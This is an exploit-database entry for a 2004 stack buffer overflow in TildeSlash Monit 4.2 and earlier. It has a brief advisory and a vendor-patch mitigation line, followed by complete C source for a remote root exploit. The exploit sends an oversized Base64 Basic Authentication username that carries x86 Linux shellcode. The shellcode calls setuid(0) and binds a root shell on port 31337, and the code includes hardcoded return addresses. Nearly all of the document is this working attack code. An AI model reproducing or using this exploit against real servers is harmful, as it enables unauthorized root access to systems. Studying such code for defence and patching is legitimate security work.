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Monit
by:
Nilanjan De, Abhisek Datta
7.5
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: Monit
Affected Version From: <= 4.2
Affected Version To:
Patch Exists: NO
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CPE:
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Platforms Tested:
2004

TildeSlash Monit Buffer Overflow Vulnerability

This vulnerability allows an attacker to execute arbitrary code as the superuser, leading to unauthorized access and privilege escalation. The exploit takes advantage of the insecure handling of usernames in Basic Authentication information to control the execution instruction pointer (EIP) and execute the payload.

Mitigation:

The vendor should release a patch to fix the buffer overflow vulnerability. It is recommended to update to the latest version of TildeSlash Monit.
Source

Exploit-DB raw data:

// source: https://www.securityfocus.com/bid/10581/info

It is reported that TildeSlash Monit is vulnerable to a buffer overflow vulnerability during authentication handling. This issue arises due to a failure of the affected application to properly handle user-supplied strings when copying them into finite stack-based buffers.

Successful exploitation of this issue allows an attacker to execute arbitrary code as the superuser; facilitating unauthorized access and privilege escalation.

/*
* THE EYE ON SECURITY RESEARCH GROUP - INDIA
*
* http://www.eos-india.net/poc/305monit.c
* Remote Root Exploit for Monit <= 4.2
* Vulnerability: Buffer overflow in handling of Basic Authentication informations.
* Server authenticates clients through:
* Authentication: Basic Base64Encode[UserName:Password]
* Here we are exploiting the insecure handling of username in Basic Authentication information to return
* control (EIP) to our payload.
*
* Nilanjan De [n2n<at>linuxmail<dot>org] - Abhisek Datta [abhisek<at>front<dot>ru]
*
* 06.04.2004
* http://www.eos-india.net
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <unistd.h>

#define BUFF_SIZE 2048
#define PADDING 40
#define EXP_SIZE (256+4+PADDING)
#define MAX_ARCH 2
struct eos{
char *arch;
unsigned long ret;
} targets[] = {
"Monit-4.2-Gentoo",
0xbf7fef02,
//-------------------------------
"Monit <=4.2 Crash",
0xbadc0ded,
NULL,
0
};
/*
x86 linux portbind a shell in port 31337
based on shellcode from www.shellcode.com.ar
with a few modifications by us
*/

char shellcode[]=
/* sys_fork() */
"\x31\xc0" // xorl %eax,%eax
"\x31\xdb" // xorl %ebx,%ebx
"\xb0\x02" // movb $0x2,%al
"\xcd\x80" // int $0x80
"\x38\xc3" // cmpl %ebx,%eax
"\x74\x05" // je 0x5
/* sys_exit() */
"\x8d\x43\x01" // leal 0x1(%ebx),%eax
"\xcd\x80" // int $0x80
/* setuid(0) */
"\x31\xc0" // xorl %eax,%eax
"\x31\xdb" // xorl %ebx,%ebx
"\xb0\x17" // movb $0x17,%al
"\xcd\x80" // int $0x80
/* socket() */
"\x31\xc0" // xorl %eax,%eax
"\x89\x45\x10" // movl %eax,0x10(%ebp)(IPPROTO_IP = 0x0)
"\x40" // incl %eax
"\x89\xc3" // movl %eax,%ebx(SYS_SOCKET = 0x1)
"\x89\x45\x0c" // movl %eax,0xc(%ebp)(SOCK_STREAM = 0x1)
"\x40" // incl %eax
"\x89\x45\x08" // movl %eax,0x8(%ebp)(AF_INET = 0x2)
"\x8d\x4d\x08" // leal 0x8(%ebp),%ecx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x89\x45\x08" // movl %eax,0x8(%ebp)

/* bind()*/
"\x43" // incl %ebx(SYS_BIND = 0x2)
"\x66\x89\x5d\x14" // movw %bx,0x14(%ebp)(AF_INET = 0x2)
"\x66\xc7\x45\x16\x7a\x69" // movw $0x697a,0x16(%ebp)(port=31337)
"\x31\xd2" // xorl %edx,%edx
"\x89\x55\x18" // movl %edx,0x18(%ebp)
"\x8d\x55\x14" // leal 0x14(%ebp),%edx
"\x89\x55\x0c" // movl %edx,0xc(%ebp)
"\xc6\x45\x10\x10" // movb $0x10,0x10(%ebp)(sizeof(struct sockaddr) = 10h = 16)
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80

/* listen() */
"\x40" // incl %eax
"\x89\x45\x0c" // movl %eax,0xc(%ebp)
"\x43" // incl %ebx
"\x43" // incl %ebx(SYS_LISTEN = 0x4)
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80

/* accept() */
"\x43" // incl %ebx
"\x89\x45\x0c" // movl %eax,0xc(%ebp)
"\x89\x45\x10" // movl %eax,0x10(%ebp)
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x89\xc3" // movl %eax,%ebx

/* dup2() */
"\x31\xc9" // xorl %ecx,%ecx
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80
"\x41" // incl %ecx
"\x80\xf9\x03" // cmpb $0x3,%cl
"\x75\xf6" // jne -0xa

/* execve() */
"\x31\xd2" // xorl %edx,%edx
"\x52" // pushl %edx
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x52" // pushl %edx
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp,%ecx
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80"; // int $0x80

void show_help(char *pr00gie,u_short opt) {
int i=0;
printf("==========> THE EYE ON SECURITY RESEARCH GROUP <==========\n");
printf("Monit <= 4.2 Remote Root Exploit\n");
printf("n2n[at]linuxmail[dot]org - abhisek[at]front[dot]ru\n");
printf("http://www.eos-india.net\n\n");
if(!opt)
return;
printf("[usage]\n");
printf("%s [Remote Host] [Remote Port] [Target]\n",pr00gie);
printf("[Available Targets]\n");
while(targets[i].arch != NULL) {
printf("%d. - %s\t - %p\n",(i),targets[i].arch,targets[i].ret);
i++;
}
}
/* Base 64 code ripped from monit src */
/**
* Base64 encode one byte
*/
static char encode(unsigned char u) {

if(u < 26) return 'A'+u;
if(u < 52) return 'a'+(u-26);
if(u < 62) return '0'+(u-52);
if(u == 62) return '+';

return '/';

}
/**
* Base64 encode and return size data in 'src'. The caller must free the
* returned string.
* @param size The size of the data in src
* @param src The data to be base64 encode
* @return encoded string otherwise NULL
*/
char *encode_base64(int size, unsigned char *src) {

int i;
char *out, *p;

if(!src)
return NULL;

if(!size)
size= strlen((char *)src);

out= (char *)malloc(sizeof(char)*size*4/3+4);

p= out;

for(i=0; i<size; i+=3) {

unsigned char b1=0, b2=0, b3=0, b4=0, b5=0, b6=0, b7=0;

b1 = src[i];

if(i+1<size)
b2 = src[i+1];

if(i+2<size)
b3 = src[i+2];

b4= b1>>2;
b5= ((b1&0x3)<<4)|(b2>>4);
b6= ((b2&0xf)<<2)|(b3>>6);
b7= b3&0x3f;

*p++= encode(b4);
*p++= encode(b5);

if(i+1<size) {
*p++= encode(b6);
} else {
*p++= '=';
}

if(i+2<size) {
*p++= encode(b7);
} else {
*p++= '=';
}

}

return out;

}


void make_http_request(char *buff,int size,char *host,unsigned long *magic) {
char *exp_buff;
char *exp_buff_encoded;
int i;
if (!(exp_buff=(char*)malloc(EXP_SIZE))){
perror("malloc()");
exit(1);
}

memset(exp_buff,0x90,EXP_SIZE);
strcpy(exp_buff+256-strlen(shellcode),shellcode);
for(i=256;i<EXP_SIZE-5;i+=4)
memcpy(exp_buff+i,magic,4);
strcpy(exp_buff+EXP_SIZE-4,":x");
exp_buff_encoded=encode_base64(EXP_SIZE,exp_buff);
memset(buff,0x00,size);
sprintf(buff,"GET / HTTP/1.0\r\n");
sprintf(buff,"%sHost: %s\r\n",buff,host);
sprintf(buff,"%sAuthorization: Basic %s\r\n\r\n\r\n",buff,exp_buff_encoded);

}
int main(int argc,char *argv[]) {
char *host;
char *b;
int rport;
int sockfd;
struct sockaddr_in sin;
struct hostent *h;
unsigned int n;
unsigned long magic;
if(argc != 4) {
show_help(argv[0],1);
exit(1);
}
host=argv[1];
rport=(atoi(argv[2]));
n=atoi(argv[3]);
if((n >= MAX_ARCH)||(n<0)) {
printf("- Invalid target\n");
show_help(argv[0],1);
exit(1);
}
magic=targets[n].ret;
show_help(argv[0],0);
printf("-Using RET %p\n",magic);
printf("Resolving %s\t",host);
h=gethostbyname(host);
if(!h) {
printf("[ERROR]\nUnable to resolve: %s\n",host);
exit(1);
}
else
printf("[DONE]\n");
b=(char*)malloc(BUFF_SIZE);
if(!b) {
perror("malloc");
exit(1);
}
sin.sin_addr=*((struct in_addr*)h->h_addr);
sin.sin_family=AF_INET;
sin.sin_port=htons((u_short)rport);
if((sockfd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0){
perror("socket");
exit(1);
}
printf("Connecting to %s:%d\t",host,rport);
if(connect(sockfd,(struct sockaddr*)&sin,sizeof(sin))<0) {
printf("[ERROR]\nUnable to connect: %s:%d\n",host,rport);
perror("connect");
exit(1);
}
else
printf("[DONE]\n");
make_http_request(b,BUFF_SIZE,host,&magic);
if(send(sockfd,b,strlen(b),0) == strlen(b))
printf("Successfully send exploit string\n");
else
printf("Failed sending exploit string\n");
close(sockfd);
return 0;
}